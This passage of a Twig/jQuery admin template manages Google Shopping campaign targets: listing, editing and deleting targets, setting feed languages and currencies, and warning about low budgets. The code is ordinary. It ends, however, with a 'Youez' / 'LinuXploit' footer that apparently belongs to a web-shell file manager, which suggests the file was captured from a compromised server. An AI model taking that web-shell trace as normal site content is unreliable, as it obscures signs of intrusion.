                $(selector.target.container).html('<div class="alert alert-info text-center">{{ text_loading }}</div>');
            },
            complete: callback,
            error: function(jqXHR, textStatus, errorThrown) {
                displayError(selector.alerts, '(' + textStatus + ') ' + errorThrown);
            },
            success: function(data) {
                if (data.error) {
                    displayError(selector.alerts, data.error);
                } else {
                    if (data.targets.length) {
                        targets = data.targets;

                        $(selector.target.container).html($(selector.template.targets).html());

                        $(data.targets).each(function(index, target) {
                            $(selector.target.list).append(makeListElementHtml({
                                target_id: target.target_id,
                                campaign_name: target.campaign_name,
                                country: target.country.name,
                                budget: target.budget.formatted,
                                roas: makeListElementRoasHtml(target.roas_status, target.roas_warning, target.roas),
                                status: makeListElementStatusHtml(target.status),
                                feeds: makeListElementFeedsHtml(target.feeds)
                            }));
                        });
                    } else {
                        $(selector.target.container).html('<div class="alert alert-warning"><i class="fa fa-warning"></i> {{ text_no_targets }}</div>');
                    }
                }
            }
        });
    };

    var initModal = function(modalData) {
        var html = $(makeModalHtml(modalData));

        $(html).modal();
        
        $(html).on('shown.bs.modal', function() {
            // Enable tooltips
            $('[data-toggle="tooltip"]').tooltip({container: 'body', html: true});

            // Populate countries
            $(allowed_targets).each(function(index, target) {
                $(selector.target.country).append('<option value="' + target.country.code + '">' + target.country.name + '</option>');
            });

            // Select the current country
            $(selector.target.country).val($(selector.target.country).attr('data-value')).trigger('change');

            $(selector.target.status).val($(selector.target.status).attr('data-value')).trigger('change');

            $(selector.target.budget).trigger('change');

            $(selector.target.roas).attr('disabled', !modalData.roas_status);
            $(selector.target.roas).attr('data-original-disabled', !modalData.roas_status ? '1' : '0');

            $(selector.target.warning_roas).toggle(!modalData.roas_status);
        });
        
        $(html).on('hidden.bs.modal', function() {
            $(this).remove();
        });
    };

    var campaignCreateTestPromise = new Promise((resolve, reject) => {
        {% if can_edit_campaigns %}
            resolve();
        {% else %}
            var doCampaignCreateTest = function() {
                $.ajax({
                    url: '{{ url_campaign_test }}',
                    dataType: 'json',
                    success: function(data) {
                        if (data.status) {
                            resolve();
                        } else if (data.redirect) {
                            document.location = data.redirect;
                        } else {
                            setTimeout(doCampaignCreateTest, 10000);
                        }
                    }
                });
            };

            doCampaignCreateTest();
        {% endif %}
    });

    $(document).on('click', selector.target.add, function(e) {
        e.preventDefault();
        e.stopPropagation();

        var modalData = {
            title: '{{ text_add_target }}',
            url: '{{ target_add }}',
            campaign_name : '',
            budget: '25.00',
            roas: 0,
            roas_status: false,
            roas_warning: '{{ text_roas_warning }}',
            country: '',
            status: 'active',
            feeds: makeFeedsHtml({
                id: id++,
                language: '',
                currency: ''
            })
        };

        initModal(modalData);
    });

    $(document).on('click', selector.target.edit, function(e) {
        e.preventDefault();
        e.stopPropagation();

        var data = null;
        var feeds = '';
        var target_id = $(this).attr('data-target-id');

        $(targets).each(function(index, target) {
            if (target.target_id == target_id) {
                data = target;
                return;
            }
        });

        $(data.feeds).each(function(index, feed) {
            feeds += makeFeedsHtml({
                id: id++,
                language: feed.language,
                currency: feed.currency
            });
        });

        var modalData = {
            title: '{{ text_edit_target }}'.replace(/%s/, data.campaign_name),
            url: '{{ target_edit }}'.replace(/{target_id}/, target_id),
            campaign_name : data.campaign_name,
            budget: data.budget.value,
            roas: data.roas,
            roas_status: data.roas_status,
            roas_warning: data.roas_warning,
            country: data.country.code,
            status: data.status,
            feeds: feeds
        };

        initModal(modalData);
    });

    $(document).on('click', selector.target.delete, function(e) {
        e.preventDefault();
        e.stopPropagation();

        if (confirm("{{ text_confirm }}")) {
            var target_id = $(this).attr('data-target-id');

            $(selector.target.container).html('<div class="alert alert-info text-center">{{ text_loading_please_wait }}</div>');

            campaignCreateTestPromise.then(function() {
                $.ajax({
                    url: '{{ target_delete }}'.replace(/{target_id}/, target_id),
                    type: 'GET',
                    dataType: 'json',
                    complete: function() {
                        refreshTargets();
                    },
                    error: function(jqXHR, textStatus, errorThrown) {
                        displayError(selector.alerts, '(' + textStatus + ') ' + errorThrown);
                    },
                    success: function(data) {
                        if (data.error) {
                            displayError(selector.alerts, data.error);
                        } else if (data.redirect) {
                            document.location = data.redirect;
                        } else {
                            displaySuccess(data.success);
                        }
                    }
                });
            });
        }
    });

    $(document).on('click', selector.feed.add, function(e) {
        $(selector.feed.container).append(
            $(makeFeedsHtml({
                id: id++,
                language: '',
                currency: ''
            }))
        );
    });

    $(document).on('click', selector.feed.delete, function(e) {
        e.preventDefault();

        if (confirm("{{ text_confirm }}")) {
            $(this).closest(selector.feed.row).remove();
        }
    });

    $(document).on('click', selector.target.save, function(e) {
        var saveButton = this;

        $(selector.target.alerts).empty();
        $(selector.alerts).empty();

        $(selector.target.save)
            .text($(selector.target.save).attr('data-loading'))
            .attr('disabled', true);

        $(selector.target.modal).find('input,select').attr('disabled', true);
        $(selector.target.modal).find(selector.feed.add).attr('disabled', true);
        $(selector.target.modal).find(selector.feed.delete).attr('disabled', true);

        $('.text-danger').remove();

        $('.has-error').removeClass('has-error');

        campaignCreateTestPromise.then(function() {
            $.ajax({
                url: $(saveButton).attr('data-url'),
                type: 'POST',
                dataType: 'json',
                data: $(selector.target.modal).find('input,select'),
                complete: function() {
                    $(selector.target.save)
                        .text($(selector.target.save).attr('data-text'))
                        .attr('disabled', false);

                    $(selector.target.modal).find('input,select').attr('disabled', false);
                    $(selector.target.modal).find('[data-original-disabled]').each(function(index, element) {
                        $(element).attr('disabled', $(element).attr('data-original-disabled') == '1');
                    });
                    $(selector.target.modal).find(selector.feed.add).attr('disabled', false);
                    $(selector.target.modal).find(selector.feed.delete).attr('disabled', false);
                },
                error: function(jqXHR, textStatus, errorThrown) {
                    displayError(selector.target.alerts, '(' + textStatus + ') ' + errorThrown);
                },
                success: function(data) {
                    if (data.error) {
                        displayError(selector.target.alerts, data.error);

                        $(selector.feed.error_type).each(function(index, element) {
                            if (typeof data[$(element).attr('data-error-type')] != 'undefined') {
                                $(element).find('.col-sm-9').append('<div class="text-danger">' + data[$(element).attr('data-error-type')] + '</div>');
                            }
                        });

                        // Highlight any found errors
                        $('.text-danger').each(function() {
                            var element = $(saveButton).parent().parent();

                            if (element.hasClass('form-group')) {
                                element.addClass('has-error');
                            }
                        });
                    } else if (data.redirect) {
                        document.location = data.redirect;
                    } else if (data.success) {
                        displaySuccess(data.success);

                        refreshTargets(function() {
                            $(selector.target.modal).modal('hide');
                        });
                    }
                }
            });
        });
    });

    $(document).on('change', selector.target.country, function() {
        var code = $(this).val();

        // Set the feed countries
        $(allowed_targets).each(function(index, target) {
            if (target.country.code == code) {
                $(selector.feed.container).find(selector.feed.language).find('option[value!=""]').remove();

                $(target.languages).each(function(index, language) {
                    $(selector.feed.container).find(selector.feed.language).append('<option value="' + language.code + '" ' + (language.status ? '' : 'disabled') + '>' + language.name + '</option>');
                });

                $(selector.feed.container).find(selector.feed.language).val(
                    $(selector.feed.container).find(selector.feed.language).attr('data-value')
                );

                $(selector.feed.container).find(selector.feed.currency).find('option[value!=""]').remove();

                $(target.currencies).each(function(index, currency) {
                    $(selector.feed.container).find(selector.feed.currency).append('<option value="' + currency.code + '" ' + (currency.status ? '' : 'disabled') + '>' + currency.name + '</option>');
                });

                $(selector.feed.container).find(selector.feed.currency).val(
                    $(selector.feed.container).find(selector.feed.currency).attr('data-value')
                );
            }
        });
    });

    $(document).on('change', selector.acknowledge, function() {
        $(selector.save).attr('disabled', $(selector.acknowledge + ':not(:checked)').length > 0);
    });

    $(document).on('change keyup', selector.target.budget, function() {
        if (parseFloat($(this).val()) < 10) {
            $(selector.target.warning_budget).show();
        } else {
            $(selector.target.warning_budget).hide();
        }
    });

    $(document).on('click', selector.save, function(e) {
        e.preventDefault();
        e.stopPropagation();

        $(selector.save).text('{{ text_loading_please_wait }}').attr('disabled', true);
        $(selector.acknowledge).attr('disabled', true);

        campaignCreateTestPromise.then(function() {
            $(selector.form).submit();
        });
    });
})(jQuery);
</script>
{{ footer }}

Youez - 2016 - github.com/yon3zu
LinuXploit